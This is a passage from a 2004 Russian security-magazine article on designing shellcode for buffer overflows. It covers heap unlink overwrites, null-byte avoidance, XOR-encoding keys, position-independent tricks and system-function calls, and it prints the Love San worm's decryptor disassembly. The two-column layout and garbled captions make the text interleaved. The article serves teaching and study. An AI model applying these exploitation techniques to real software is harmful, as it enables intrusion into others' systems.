ворке, «за что боролись, на то и напоролись». К сожале- один из немногих червей, поражающий UNIX-машины –
нию, более прогрессивных методик передачи управления распространяется именно так. Как же такое возможно?
пока не придумано… Попробуем разобраться…

32
безопасность
Выделение и освобождение динамической памяти дей- зателю, возращенному программе в момент его выделе-
ствительно происходит довольно сумбурно – беспорядоч- ния, а отнюдь не по «служебному» указателю, который мы
но, и за концом нашего блока в произвольный момент собираемся затирать! Служебные указатели используют-
времени может быть расположен любой другой блок. Даже ся исключительно функциями malloc/free (и другими по-
при последовательном выделении нескольких блоков па- добными им функциями). Искажение указателя на следу-
мяти никто не может гарантировать, что при каждом за- ющий/предыдущий блок позволяет навязать адрес сле-
пуске программы они будут выделяться в одном и том же дующего выделяемого блока, например, «наложив» его
порядке, поскольку это зависит от размера и порядка ос- на доступный нам буфер, но никаких гарантий, что это
вобождения предыдущих выделяемых буферов. Тем не получится, у нас нет – при выделении блока памяти функ-
менее, устройство служебных структур данных, пронизы- ция malloc ищет наиболее подходящий с ее точки зрения
вающих динамическую память своеобразным несущим регион свободной памяти (обычно это первый свободный
каркасом, легко предсказуемо, хотя и меняется от одной блок в цепочке, совпадающий по размеру с запрошенным),
версии библиотеки компилятора к другой. и не факт, что наш регион ей подойдет. Короче говоря, не
Существует множество реализаций динамической па- воодушевляющая перспектива получается.
мяти, и различные производители используют различные Освобождение блоков памяти – другое дело! Для
алгоритмы. Выделяемые блоки памяти могут быть нани- уменьшения фрагментации динамической памяти функ-
заны и на дерево, и на одно/двух-связанный список, ссыл- ция free автоматически объединяет текущий освобожда-
ки на который могут быть представлены как указателя- емый блок со следующим, если тот тоже свободен. По-
ми, так и индексами, хранимыми либо в начале/конце каж- скольку смежные блоки могут находиться на различных
дого выделяемого блока, либо в отдельной структуре дан- концах связывающего их списка, перед присоединением
ных. Причем последний способ реализации по ряду при- чужого блока памяти функция free должна «выбросить»
чин встречается крайне редко. его из цепочки. Это осуществляется путем склейки пред-
Рассмотрим следующую организацию динамической шествующего и последующего указателей, что в псевдо-
памяти, при которой все выделяемые блоки соединены коде выглядит приблизительно так: *указатель на следу-
посредством двухсвязных списков, указатели на которых ющий блок в цепочке = указатель на предыдущий блок в
расположены в начале каждого блока (см. рис. 2), причем цепочке. Постойте, но ведь это… Да! Это аналог бейсик-
смежные блоки памяти не обязательно должны находить- функции POKE, позволяющий нам модифицировать лю-
ся в соседних элементах списка, т.к. в процессе много- бую ячейку уязвимой программы!
кратных операций выделения/освобождения список неиз- Подробнее об этом можно прочитать в статье «Once upon
бежно фрагментируется, а постоянно дефрагментировать a free()…», опубликованной в 39h-номере электронного
его себе дороже. журнала PHRACK, доступного по адресу www.phrack.org.
Статья перегружена техническими подробностями реали-
зации динамической памяти в различных библиотеках и
написана довольно тяжелым языком, но ознакомиться с
ней, безусловно, стоит.
Как правило, возможность записи в память исполь-
зуется для модификации таблицы импорта с целью под-
мены некоторой API-функции, гарантированно вызыва-
емой уязвимой программой, вскоре после переполнения
(«вскоре», потому что часы ее уже сочтены – целостность
ссылочного каркаса динамической памяти нарушена, и
это неустойчивое сооружение в любой момент может рух-
нуть, пустив программу в разнос). К сожалению, пере-
дать управление на переполняющийся буфер скорее все-
го не удастся, т.к. его адрес наперед неизвестен, и тут
приходится импровизировать. Во-первых, злоумышлен-
ник может разместить shell-код в любом другом доступ-
ном ему буфере с известным адресом (см. «В секции
данных…»). Во-вторых, среди функций уязвимой про-
граммы могут встретиться и такие, что передают управ-
ление на указатель, переданный им с тем или иным ар-
гументом (такую функцию условимся называть функци-
ей f). После чего останется найти API-функцию, прини-
Ðèñóíîê 2. Êàðòà ïðèáëèçèòåëüíîãî ðàñïðåäåëåíèÿ äèíàìè÷åñêîé мающую указатель на переполняющийся буфер и под-
ïàìÿòè менить ее адрес адресом функции f. В Си++ программах
Переполнение буфера приводит к затиранию служеб- с их виртуальными функциями и указателями this такая
ных структур следующего блока памяти и как следствие – ситуация случается не так уж и редко, хотя и распрост-
возможности их модификации. Но что это нам дает? Ведь раненной ее тоже не назовешь. Но при проектировании
доступ к ячейкам всякого блока осуществляется по ука- shell-кода на универсальные решения закладываться,

№4(17), апрель 2004 33


безопасность
вообще говоря, и не приходится. Проявите инженерную Запрещенные символы
смекалку, удивите мир! Строковые переполняющиеся буфера (в особенности те,
Будьте заранее готовы к тому, что в некоторых реали- что относятся к консольному вводу и клавиатуре) налага-
зациях кучи вы встретитесь не с указателями, а с индек- ют жесткие ограничения на ассортимент своего содержи-
сами, которые в общем случае представляют собой отно- мого. Самое неприятное ограничение заключается в том,
сительные адреса, отсчитываемые либо от первого байта что символ нуля на всем протяжении строки может встре-
кучи, либо от текущей ячейки памяти. Последний случай чаться лишь однажды и лишь на конце строки (правда,
встречается наиболее часто (в частности, штатная биб- это ограничение не распространяется на UNICODE-стро-
лиотека компилятора MS VC 6.0 построена именно так), ки). Это затрудняет подготовку shell-кода и препятствует
поэтому имеет смысл рассмотреть его поподробнее. Как выбору произвольных целевых адресов. Код, не исполь-
уже говорилось выше, абсолютные адреса переполняю- зующий нулевых байт, принято называть Zero Free-кодом,
щего буфера заранее неизвестны и непредсказуемым об- и техника его подготовки – настоящая Камаcутра.
разом изменяются под воздействием ряда обстоятельств.
Адреса же ячеек, наиболее соблазнительных для моди- Искусство затирания адресов
фикации, напротив, абсолютны. Что делать? Можно, ко- Рассмотрим ситуацию, когда следом за переполняющим-
нечно, исследовать стратегию выделения/освобождения ся буфером идет уязвимый указатель на вызываемую
памяти для данного приложения на предмет выявления функцию (или указатель this), а интересующая злоумыш-
наиболее вероятных комбинаций – кое-какие закономер- ленника функция root располагается по адресу 00401000h.
ности в назначении адресов переполняющимся буферам, Поскольку только один символ, затирающий указатель,
безусловно, есть. Методично перебирая все возможные может быть символом нуля, то непосредственная запись
варианты один за другим, атакующий рано или поздно требуемого значения невозможна, и приходится хитрить.
захватит управление сервером (правда, перед этим не- Начнем с того, что в 32-разрядных операционных сис-
сколько раз его завесит, демаскируя атаку и усиливая темах (к которым, в частности, принадлежит Windows NT
бдительность администраторов). и многие клоны UNIX) стек, данные и код большинства при-
ложений лежат в узком диапазоне адресов: 00100000h –
В секции данных… ~00x00000h, т.е. как минимум один ноль у нас уже есть –
Переполняющиеся буфера, расположенные в секции дан- и это старший байт адреса. В зависимости от архитекту-
ных (статические буфера) – настоящая золотая жила с ры процессора он может располагаться как по младшим,
точки зрения злоумышленника! Это единственный тип так и по старшим адресам. Семейство x86-процессоров
буферов, адреса которых явно задаются еще на этапе держит его в старших адресах, что с точки зрения атаку-
компиляции (вообще-то не компиляции, а компоновки, но ющего очень даже хорошо, поскольку мы можем навязать
это уже детали) и постоянны для каждой конкретной вер- уязвимому приложению любой XxYyZzh-адрес, при усло-
сии уязвимого приложения независимо от того, на какой вии, что Xx, Yy и Zz не равны нулю.
операционной системе она выполняется. Теперь давайте рассуждать творчески: позарез необ-
Самое главное – секция данных содержит огромное ко- ходимый нам адрес 401000h в прямом виде недостижим в
личество указателей на функции/данные, глобальные фла- принципе. Но, может быть, нас устроит что-нибудь дру-
ги, дескрипторы файлов и кучи, имена файлов, текстовые гое? Например, почему бы не начать выполнение функ-
строки, буфера некоторых библиотечных функций… Прав- ции не с первого байта? Функции с классическим проло-
да, до всего этого богатства еще предстоит «дотянуться» гом (коих вокруг нас большинство) начинаются с инструк-
и, если длина переполняющегося буфера окажется жестко ции PUSH EBP, сохраняющей значение регистра EBP в
ограничена сверху (как часто и случается), атакующий не стеке. Если этого не сделать, то при выходе функция не-
получит от последнего никаких преимуществ! пременно грохнется, но… это уже будет не важно (свою
К тому же, если стек и куча гарантированно содер- миссию функция выполнила и все, что было нужно атаку-
жат указатели в определенных местах и поддерживают ющему, она выполнила). Хуже, если паразитный символ
более или менее универсальные механизмы захвата уп- нуля встречается в середине адреса или присутствует в
равления, то в случае со статическими буферами атаку- нем дважды, например – 50000h.
ющему остается надеяться лишь на удачу. А удача, как В некоторых случаях помогает способ коррекции су-
известно, баба подлая, и переполнения статических бу- ществующих адресов. Допустим, затираемый указатель
феров носят единичный характер и всегда развиваются содержит адрес 5000FAh. Тогда, для достижения желае-
по уникальному сценарию, не допускающему обобщаю- мого результата атакующий должен затереть один лишь
щей классификации. младший символ адреса, заменив FAh символом нуля.
Как вариант можно попробовать поискать в дизассем-
блерном листинге команду перехода (вызова) интересу-
Секреты проектирования shell-кода ющей нас функции, – существует вероятность, что она
Попытка реализовать собственный shell-код неминуемо будет располагаться по «правильным» адресам. При ус-
наталкивает атакующего на многочисленные ограничения, ловии, что целевая функция вызывается не однажды и
одни из которых обходятся путем хитроумных хаков и из- вызовы следуют из различных мест (а обычно именно так
вращений, с другими же приходится мириться, восприни- и бывает), вероятность, что хотя бы один из адресов нам
мая их как неотъемлемую часть жестоких сил природы. «подойдет», весьма велика.

34
безопасность
Следует также учитывать, что некоторые функции вво- нуль в позицию XXX, где XXX – адрес конца текстовой стро-
да не вырезают символ перевода каретки из вводимой ки, вычисленный тем или иным способом (см. «В поисках
строки, чем практически полностью обезоруживают ата- самого себя»).
кующих. Непосредственный ввод целевых адресов ста- Более радикальным средством предотвращения появ-
новится практически невозможным (ну что интересного ления нулей является шифровка shell-кода, в подавляю-
можно найти по адресу 0AXxYyh?), коррекция существу- щем большинстве случаев сводящаяся к тривиальному
ющих адресов хотя и остается возможной, но на практике XOR. Основную трудность представляет поиск подходяще-
встретить подходящий указатель крайне маловероятно го ключа шифрования – ни один шифруемый байт не дол-
(фактически мы ограничены лишь одним адресом ??000A, жен обращаться в символ нуля. Поскольку, a XOR a == 0,
где ?? – прежнее значение уязвимого указателя). Един- для шифрования подойдет любой байтовый ключ, не со-
ственное, что остается – полностью затереть все 4-байта впадающий ни с одним байтом shell-кода. Если же в shell-
указателя вместе с двумя последующими за ним байта- коде присутствует полный набор всех возможных значе-
ми. Тогда мы сможем навязать уязвимому приложению ний от 00h до FFh, следует увеличить длину ключа до сло-
любой FfXxYyZz, где Ff > 00h. Этот регион обычно принад- ва и двойного слова, выбирая ее так, чтобы никакой байт
лежит коду операционной системы и драйверам. С нену- накладываемой гаммы не совпадал ни с одним шифруе-
левой вероятностью здесь можно найти машинную коман- мым байтом. А как построить такую гамму (метод перебо-
ду, передающую управление по целевому адресу. В про- ра не предлагать)? Да очень просто – подсчитываем час-
стейшем случае это CALL адрес/JMP адрес (что достаточ- тоту каждого из символов shell-кода, отбираем 4 симво-
но маловероятно), в более общем случае – CALL регистр/ ла, которые встречаются реже всего, выписываем их сме-
JMP регистр. Обе – двухбайтовые команды (FF Dx и FF Ex щения относительно начала shell-кода в столбик и вычис-
соответственно), и в памяти таких последовательностей ляем остаток от деления на 4. Вновь записываем полу-
сотни! Главное, чтобы на момент вызова затертого указа- ченные значения в столбик, отбирая те, которые в нем не
теля (а значит, и на момент передачи управления коман- встречаются, – это и будут позиции данного байта в клю-
де CALL регистр/JMP регистр) выбранный регистр содер- че. Непонятно? Не волнуйтесь, сейчас все это разберем
жал требуемый целевой адрес. на конкретном примере.
Штатные функции консольного ввода интерпретируют Допустим, в нашем shell-коде наиболее «низкочастот-
некоторые символы особым образом (например, символ с ными» оказались символы 69h, ABh, CCh, DDh, встреча-
кодом 008 удаляет символ, стоящий перед курсором) и они ющиеся в следующих позициях:
[censored] еще до попадания в уязвимый буфер. Следует
быть готовым и к тому, что атакуемая программа контро- Ëèñòèíã 4. Òàáëèöà ñìåùåíèé íàèáîëåå «íèçêî÷àñòîòíûõ»
ñèìâîëîâ, îòñ÷èòûâàåìûõ îò íà÷àëà øèôðóåìîãî êîäà
лирует корректность поступающих данных, откидывая все
нетекстовые символы или (что еще хуже) приводит их к ñèìâîë ñìåùåíèÿ ïîçèöèé âñåõ åãî âõîæäåíèé
----------------------------------------------
верхнему/нижнему регистру. Вероятность успешной атаки 69h 04h, 17h, 21h
(если только это не DoS-атака) становится исчезающе мала. ABh 12h, 1Bh, 1Eh, 1Fh, 27h
CCh 01h, 15h, 18h, 1Ch, 24h, 26h
DDh 02h, 03h, 06h, 16h, 19h, 1Ah, 1Dh
Подготовка shell-кода
В тех случаях, когда переполняющийся строковой буфер После вычисления остатка от деления на 4 над каждым
используется для передачи двоичного shell-кода (напри- из смещений мы получаем следующий ряд значений:
мер, головы червя), проблема нулевых символов стоит
чрезвычайно остро – нулевые символы содержатся как в Ëèñòèíã 5. Òàáëèöà îñòàòêîâ îò äåëåíèÿ ñìåùåíèé íà 4
машинных командах, так и на концах строк, передавае- ñèìâîë îñòàòîê îò äåëåíèÿ ñìåùåíèé ïîçèöèé íà 4
мых системным функциям в качестве основного аргумен- ---------------------------------------------------
69h 00h, 03h, 00h
та (обычно это «cmd.exe» или «/bin/sh»). ABh 02h, 03h, 02h, 03h, 03h
Для изгнания нулей из операндов машинных инструк- CCh 01h, 01h, 00h, 00h, 00h, 02h
DDh 02h, 03h, 02h, 02h, 01h, 02h, 01h
ций следует прибегнуть к адресной арифметике. Так, на-
пример, MOV EAX,01h (B8 00 00 00 01) эквивалентно XOR Мы получили четыре ряда данных, представляющих
EAX,EAX/INC EAX (33 C0 40). Последняя запись, кстати, собой позиции наложения шифруемого символа на гам-
даже короче. Текстовые строки (вместе с завершающим му, в которой он обращается в нуль, что недопустимо,
нулем в конце) также могут быть сформированы непос- поэтому нам необходимо выписать все значения, которые
редственно на вершине стека, например: не встречаются в каждом ряду данных:

Ëèñòèíã 3. Ðàçìåùåíèå ñòðîêîâûõ àðãóìåíòîâ íà ñòåêå Ëèñòèíã 6. Òàáëèöà ïîäõîäÿùèõ ïîçèöèé ñèìâîëîâ êëþ÷à â ãàììå
ñ äèíàìè÷åñêîé ãåíåðàöèåé çàâåðøàþùåãî ñèìâîëà íóëÿ
ñèìâîë ïîäõîäÿùèå ïîçèöèè â ãàììå
00000000: 33C0 xor eax,eax -------------------------------------
00000002: 50 push eax 69h 01h, 02h
00000003: 682E657865 push 06578652E ;"exe." ABh 00h, 01h
00000008: 682E636D64 push 0646D632E ;"dmc." CCh 03h
DDh 00h

Как вариант можно воспользоваться командой XOR Теперь из полученных смещений можно собрать гам-
EAX,EAX/MOV [XXX], EAX, вставляющей завершающий му, комбинируя их таким образом, чтобы каждый сим-

№4(17), апрель 2004 35


безопасность
вол встречался в гамме лишь однажды. Смотрите, сим- .data:004045A6
вол DDh может встречаться только в позиции 00h, сим- .data:004045A6 ;
.data:004045AB ; íà÷àëî ðàñøèôðîâàííîãî òåêñòà
вол CCh – только в позиции 03h, а два остальных симво-
ла – в любой из оставшихся позиций. То есть это будет
либо DDh ABh 69h ССh, либо DD 69h ABh 69h. Если же Вчера были большие, но по пять…
гамму собрать не удается – необходимо увеличить ее или размер тоже имеет значение!
длину. Разумеется, выполнять все расчеты вручную со- По статистике габариты подавляющего большинства пе-
вершенно необязательно, и эту работу можно перело- реполняющихся буферов составляют 8 байт. Значитель-
жить на компьютер. но реже переполняются буфера, вмещающие в себя от 16
Естественно, перед передачей управления на зашиф- до 128 (512) байт, а буферов больших размеров в живой
рованный код он должен быть в обязательном порядке природе практически не встречается.
расшифрован. Эта задача возлагается на расшифровщик, Закладываясь на худший из возможных вариантов (а в
к которому предъявляются следующие требования: он боевой обстановке атакующим приходится действовать
должен быть: именно так!), учитесь выживать даже в жесточайших усло-
а) по возможности компактным; виях окружающей среды с минимумом пищи, воды и кис-
б) позиционно независимым (т.е. полностью перемеща- лорода. В крошечный объем переполняющегося буфера
емым); можно вместить очень многое, если подходить ко всяко-
в) не содержать в себе символов нуля. му делу творчески и думать головой.
Первое (и самое простое), что пришло нашим хакерс-
В частности, червь Love San поступает так: ким предкам в голову – это разбить атакующую програм-
му на две неравные части – компактную голову и протяж-
Ëèñòèíã 7. Ðàñøèôðîâùèê shell-êîäà, âûäðàííûé èç âèðóñà ный хвост. Голова обеспечивает следующие функции:
Love San
переполнение буфера, захват управления и загрузку хво-
.data:0040458B EB 19 jmp short loc_4045A6 ста. Голова может нести двоичный код, но может обхо-
.data:0040458B ; çäåñü ìû ïðûãàåì â ñåðåäèíó êîäà,
.data:0040458B ; ÷òîáû ïîòîì ñîâåðøèòü CALL íàçàä диться и без него, осуществляя всю диверсионную дея-
.data:0040458B; (CALL âïåðåä ñîäåðæèò çàïðåùåííûå ñèìâîëû íóëÿ) тельность руками уязвимой программы. Действительно,
.data:0040458D
CODE XREF: sub_40458D+19↓p многие программы содержат большое количество служеб-
.data:0040458D sub_40458Dproc near; ных функций, дающих полный контроль над системой или,
.data:0040458D
.data:0040458D 5E pop esi ; ESI := 4045ABh на худой конец, позволяют вывести себя из строя и пойти
; âûòàëêèâàåì èç ñòåêà àäðåñ âîçâðàòà, ïîìåùåííûé òóäà в управляемый разнос. Искажение одной или нескольких
; êîìàíäîé CALL
.data:0040458D критических ячеек программы ведет к ее немедленному
; ýòî íåîáõîäèìî äëÿ îïðåäåëåíèÿ ñâîåãî ìåñòîïîëîæåíèÿ â ïàìÿòè обрушению, и количество искаженных ячеек начинает ра-
.data:0040458D
.data:0040458D ; сти как снежный ком. Через длинную или короткую це-
.data:0040458E 31 C9 xor ecx, ecx почку причинно-следственных событий в ключевые ячей-
.data:0040458E ; îáíóëÿåì ðåãèñòð ECX
.data:0040458E ; ки программы попадают значения, необходимые злоумыш-
.data:00404590 81 E9 89 FF FF sub ecx, -77h леннику. Причудливый узор мусорных байт внезапно скла-
.data:00404590 ; óâåëè÷èâàåì ECX íà 77h (óìåíüøàåì ECX íà –77h)
; êîìáèíàöèÿ XOR ECX,ECX/SUB ECX, -77h ýêâèâàëåíòíà MOV ECX, 77h дывается в законченную комбинацию, замок глухо щел-
.data:00404590 кает и дверцы сейфа медленно раскрываются. Это похо-
; çà òåì èñêëþ÷åíèåì, ÷òî åå ìàøèííîå ïðåäñòàâëåíèå íå ñîäåðæèò
; â ñåáå íóëåé же на шахматную головоломку с постановкой мата в N
.data:00404590 ходов, причем состояние большинства полей неизвестно,
.data:00404590
.data:00404596 поэтому сложность задачи быстро растет с увеличением
.data:00404596 loc_404596: ; CODE XREF: sub_40458D+15↓ j глубины N.
.data:00404596 81 36 80 BF 32 xor dword ptr [esi], 9432BF80h
; ðàñøèôðîâûâàåì î÷åðåäíîå äâîéíîå ñëîâî ñïåöèàëüíî Конкретные примеры головоломок привести сложно,
; ïîäîáðàííîé ãàììîé т.к. даже простейшие из них занимают несколько страниц
.data:00404596
.data:00404596 ; убористого текста (в противном же случае листинги выг-
.data:0040459C 81 EE FC FF FF sub esi, -4h лядят слишком искусственно, а решение лежит букваль-
; óâåëè÷èâàåì ESI íà 4h (ïåðåõîäèì ê ñëåäóþùåìó äâîéíîìó ñëîâó)
.data:0040459C но на поверхности). Интересующиеся могут обратиться к
.data:0040459C ; коду червя Slapper, до сих пор остающемуся непревзой-
.data:004045A2 E2 F2 loop loc_404596
.data:004045A2 ; ìîòàåì öèêë, ïîêà åñòü ÷òî ðàñøèôðîâûâàòü денным эквилибристом по глубине атаки и детально про-
.data:004045A2 ; анализированным специалистами компании Symantec, от-
.data:004045A4 EB 05 jmp short loc_4045AB
; ïåðåäàåì óïðàâëåíèå ðàñøèôðîâàííîìó shell-êîäó чет которых можно найти на их же сайте (см. «An Analysis
.data:004045A4 of the Slapper Worm Exploit»).
.data:004045A4 ;
.data:004045A6 loc_4045A6: ; CODE XREF: .data:0040458B↑j Впрочем, атаки подобного типа скорее относятся к эк-
.data:004045A6 E8 E2 FF FF FF call sub_40458D зотике интеллектуальных развлечений, чем к практичес-
; ïðûãàåì íàçàä, çàáðàñûâàÿ àäðåñ âîçâðàòà (à ýòî – àäðåñ
; ñëåäóþùåé âûïîëíÿåìîé èíñòðóêöèè) íà âåðøèíó ñòåêà, ïîñëå ким приемам вторжения в систему и потому чрезвычайно
; ÷åãî âûòàëêèâàåì åãî â ðåãèñòð ESI, ÷òî ýêâèâàëåíòíî мало распространены. В плане возвращения к средствам
; MOV ESI, EIP, íî òàêîé ìàøèííîé êîìàíäû â ÿçûêå
; x86 ïðîöåññîðîâ íåò традиционной «мануальной терапии», отметим, что если
.data:004045A6 размер переполняющегося буфера равен 8 байтам, отсю-
.data:004045A6
.data:004045A6 да еще не следует, что и длина shell-кода должна быть

36
безопасность
равна тем же 8 байтам. Ведь это же переполняющийся ния сведений о расположении противника, его огневых
буфер! Но не стоит бросаться и в другую крайность, наде- средствах, особенностях местности, где предполагаются
яться, что предельно допустимая длина shell-кода окажет- боевые действия, и т. п. проводимая командирами или
ся практически неограниченной. Подавляющее большин- офицерами штаба перед началом боевых действий) и бу-
ство уязвимых приложений содержат несколько уровней дет вашей первой задачей (а если вас занесет в болото,
проверок корректности пользовательского ввода, которые то и последней тоже).
будучи даже не совсем правильно реализованными, все- Соответственно, первой задачей shell-кода является
таки налагают определенные, подчас весьма жесткие, определение своего местоположения в памяти или стро-
ограничения на атаку. го говоря, текущего значения регистра указателя команд
Если в куцый объем переполняющегося буфера вмес- (в, частности, в x86-процессорах это регистр EIP).
тить загрузчик никак не удается, атакующий переходит к Статические буфера, расположенные в секции данных,
плану «B», заключающемуся в поиске альтернативных располагаются по более или менее предсказуемым адре-
способов передачи shell-кода. Допустим, одно из полей сам, легко выявляемых дизассемблированием уязвимо-
пользовательского пакета данных допускает переполне- го приложения. Однако они чрезвычайно чувствительны
ние, приводящее к захвату управления, но его размер к версии атакуемого приложения и в меньшей степени –
катастрофически мал. Но ведь остальные поля тоже со- к модели операционной системы (различные операцион-
держатся в оперативной памяти! Так почему бы не исполь- ные системы имеют неодинаковый нижний адрес загруз-
зовать их для передачи shell-кода? Переполняющийся ки приложений). Динамические библиотеки в большинстве
буфер, воздействуя на систему тем или иным образом, своем перемещаемы и могут загружаться в память по
должен передать управление не на свое начало, а на пер- различным базовым адресам, хотя при статической ком-
вый байт shell-кода, если, конечно, атакующий знает от- поновке каждый конкретный набор динамических библио-
носительный или абсолютный адрес последнего в памя- тек всегда загружается одним и тем же образом. Автома-
ти. Поскольку простейший способ передачи управления тические буфера, расположенные в стеке, и динамичес-
на автоматические буфера сводится к инструкции кие буфера, расположенные в куче, размещаются по чрез-
JMP ESP, то наиболее выгодно внедрять shell-код в те вычайно трудно предсказуемым или даже совершенно
буфера, которые расположены в непосредственной бли- непредсказуемым адресам.
зости от вершины стека, в противном случае ситуация Использование абсолютной адресации (или, говоря
рискует самопроизвольно выйти из под контроля и для другими словами, жесткой привязки к конкретным адре-
создания надежно работающего shell-кода атакующему сам, вроде MOV EAX, [406090h]) ставит shell-код в зави-
придется попотеть. Собственно говоря, shell-код может симость от окружающей среды и приводит к многочис-
находиться в самых неожиданных местах, например, в хво- ленным обрушениям уязвимых приложений, в которых
сте последнего TCP-пакета (в подавляющем большинстве буфер оказался не там, где ожидалось. «Из чего только
случаев он попадает в адресное пространство уязвимого делают современных хакеров, что они даже переполнить
процесса, причем зачастую располагается по более или буфер, не угробив при этом систему, оказываются не в
менее предсказуемым адресам). состоянии?» – вздыхает прошлое поколение. Чтобы этого
В более сложных случаях shell-код может быть пере- не происходило, shell-код должен быть полностью пере-
дан отдельным сеансом, – злоумышленник создает не- мещаемым – т.е. уметь работать в любых, заранее ему не
сколько подключений к серверу, по одному передается известных адресах.
shell-код (без переполнения, но в тех полях, размер кото- Поставленную задачу можно решить двумя путями –
рых достаточен для его вмещения), а другому –запрос, либо использовать только относительную адресацию (что
вызывающий переполнение и передающий управление на на x86-платформе в общем-то недостижимо), либо само-
shell-код. Дело в том, что в многопоточных приложениях стоятельно определять свой базовый адрес загрузки и
локальные стеки всех потоков располагаются в едином вести «летоисчисление» уже от него. И тот, и другой спо-
адресном пространстве процесса и их адреса назначают- соб рассматриваются ниже, с характерной для хакеров
ся не хаотичным, а строго упорядоченным образом. При подробностью и обстоятельностью.
условии, что между двумя последними подключениями, Семейство x86-процессоров с относительной адреса-
установленными злоумышленником, к серверу не подклю- цей категорически не в ладах, и разработка shell-кода для
чился кто-то еще, «трас-поточное» определение адресов них – это отличная гимнастика для ума. Всего имеется две
представляет собой хоть и сложную, но вполне разреши- относительные команды (CALL и JMP/Jx с опкодами E8h и
мую проблему. Ebh,E9h/7xh,0F 8xh соответственно) и обе – команды уп-
равления. Непосредственное использование регистра EIP
В поисках самого себя в адресных выражениях запрещено.
Предположим, что shell-код наделен сознанием (хотя это Использование относительных CALL в 32-разрядном
и не так). Что бы мы ощутили, оказавшись на его месте? режиме имеет свои трудности. Аргумент команды зада-
Представьте себе, что вы диверсант-десантник которого ется знаковым 4-байтовым целым, отсчитываемым от на-
выбрасывают куда-то в пустоту. Вас окружает враждеб- чала следующей команды, и при вызове нижележащих
ная территория и еще темнота. Где вы? В каком месте подпрограмм в старших разрядах, содержащих одни нули.
приземлились? Рекогносцировка на местности (лат. А поскольку в строковых буферах символ нуля может
recognoscere [рассматривать] – разведка с целью получе- встретиться лишь однажды, такой shell-код просто не смо-

№4(17), апрель 2004 37


безопасность
жет работать. Если же заменить нули на что-то другое, случае они изгоняются «заклинанием» 66 E8 FF FF C0, ко-
можно совершить очень далекий переход, далеко выхо- торое эквивалентно инструкциям CALL $3/INC EAX, нало-
дящий за пределы выделенного блока памяти. женным друг на друга (естественно, это может быть не
Уж лучше прыгать назад – в область младших адре- только EAX и не только INC). Затем лишь остается вытол-
сов, тогда нули волшебным образом превратятся в сим- кнуть содержимое верхушки стека в любой регистр об-
волы с кодом FFh (которые, кстати говоря, так же отно- щего назначения, например, EBP или EBX. К сожалению,
сятся к категории «трудных» символов, которые соглаша- без использования стека здесь не обойтись, и предлагае-
ются проглотить далеко не все уязвимые программы). мый метод требует, чтобы указатель вершины стека смот-
Применив военную хитрость и засадив в инструкцию пре- рел на выделенный регион памяти, доступной на запись.
фикс 66h, мы не только сократим длину машинной коман- Для перестраховки (если переполняющийся буфер дей-
ды на один байт (что в ряде случаев весьма актуально), ствительно срывает стек начисто) регистр ESP рекомен-
но и оторвем два старших байта операнда (те, которые дуется инициализировать самостоятельно. Это действи-
были с нулевыми символами). тельно очень просто сделать, ведь многие из регистро-
В машинном виде все это выглядит приблизительно так: вых переменных уязвимой программы содержат предска-
зуемые значения, точнее – используются предсказуемым
Ëèñòèíã 8. Ìàøèííîå ïðåäñòàâëåíèå îòíîñèòåëüíûõ êîìàíä CALL образом. Так, в Си++ программах ECX наверняка содер-
00000000: E804000000 call 000000009 жит указатель this, а this – это не только ценный мех, но и
00000005: 66E80101 call 00000010A как минимум 4 байта доступной памяти!
00000009: E8F7FFFFFF call 000000005
В порядке дальнейшего развития этой идеи отметим,
Сказанное справедливо и по отношению к команде что не стоит, право же, игнорировать значения регистров,
JMP, за тем лишь исключением, что команды условного доставшихся shell-коду в момент начала его выполнения.
перехода (равно как и команда JMP SHORT) размещают Многие из них указывают на полезные структуры данных
свой адрес перехода в одном-единственном байте, что не и выделенные регионы памяти, которые мы гарантирован-
только усиливает компактность кода, но и избавляет нас но можем использовать, не рискуя нарваться на исключе-
от проблемы «трудных» символов. ние и прочие неожиданные неприятности. Некоторые ре-
Если же необходимо совершить переход по абсолютно- гистровые переменные чувствительны к версии уязвимо-
му адресу (например, вызвать некоторую системную функ- го приложения, некоторые – к версии компилятора и клю-
цию или функцию уязвимой программы), можно восполь- чам компиляции, так что «гарантированность» эта очень и
зоваться конструкцией CALL регистр/JMP регистр, предва- очень относительна, впрочем, как и все сущее на земле.
рительно загрузив регистр командой MOV регистр, непос-
редственный операнд (от нулевых символов можно изба- Техника вызова системных функций
виться с помощью команд адресной арифметики) или ко- Возможность вызова системных функций, строго говоря,
мандой CALL непосредственный операнд с опкодом FF /2, не является обязательным условием успешности атаки,
9A или FF /3 для ближнего, дальнего и перехода по операн- поскольку все необходимое для атаки жертва (уязвимая
ду в памяти соответственно. программа) уже содержит внутри себя, в том числе и вы-
Относительная адресация данных (в т.ч. и самомоди- зовы системных функций вместе с высокоуровневой обер-
фицирующегося кода) обеспечивается на порядок слож- ткой прикладных библиотек вокруг них. Дизассемблиро-
нее. Все имеющиеся в нашем распоряжении команды ад- вав исследуемое приложение и определив целевые адре-
ресуются исключительно относительно регистра-указате- са интересующих нас функций, мы можем сделать CALL
ля верхушки стека (в x86 процессорах это регистр ESP), целевой адрес или PUSH адрес возврата/JMP относитель-
что, конечно, довольно привлекательно само по себе, но ный целевой адрес или MOV регистр, абсолютный целе-
и таит определенную внутреннюю опасность. Положение вой адрес/PUSH адрес возврата/JMP регистр.
указателя стека после переполнения в общем случае не Замечательно, если уязвимая программа импортиру-
определено, и наличие необходимого количества стеко- ет пару функций LoadLibrary/GetProcAddress, – тогда shell-
вой памяти не гарантировано. Так что действовать прихо- код сможет загрузить любую динамическую библиотеку и
дится на свой страх и риск. обратиться к любой из ее функций. А если функции
Стек можно использовать и для подготовки строковых/ GetProcAddress в таблице импорта нет? Тогда атакующий
числовых аргументов системных функций, формируя их ко- будет вынужден самостоятельно определять адреса ин-
мандой PUSH и передавая через относительный указатель тересующих его функций, отталкиваясь от базового ад-
ESP + X, где X может быть как числом, так и регистром. Ана- реса загрузки, возращенным LoadLibrary и действуя либо
логичным образом осуществляется и подготовка самомоди- путем «ручного» разбора PE-файла, либо отождествляя
фицирующегося кода – мы «пишем» код в стек и модифи- функции по их сигнатурам. Первое сложно, второе – не-
цируем его, отталкиваясь от значения регистра ESP. надежно. Закладываться на фиксированные адреса сис-
Любители же «классической миссионерской» могут темных функций категорически недопустимо, поскольку
пойти другим путем, определяя текущую позицию EIP по- они варьируются от одной версии операционной системы
средством конструкции CALL $ + 5/RET, правда в лоб та- к другой.
кую последовательность машинных команд в строковой Хорошо, а как быть, когда функция LoadLibrary в табли-
буфер не передать, т.к. 32-разрядный аргумент команды це импорта конкретно отсутствует и одной или нескольких
CALL содержит несколько символов нуля. В простейшем системных функций, жизненно необходимых shell-коду для

38
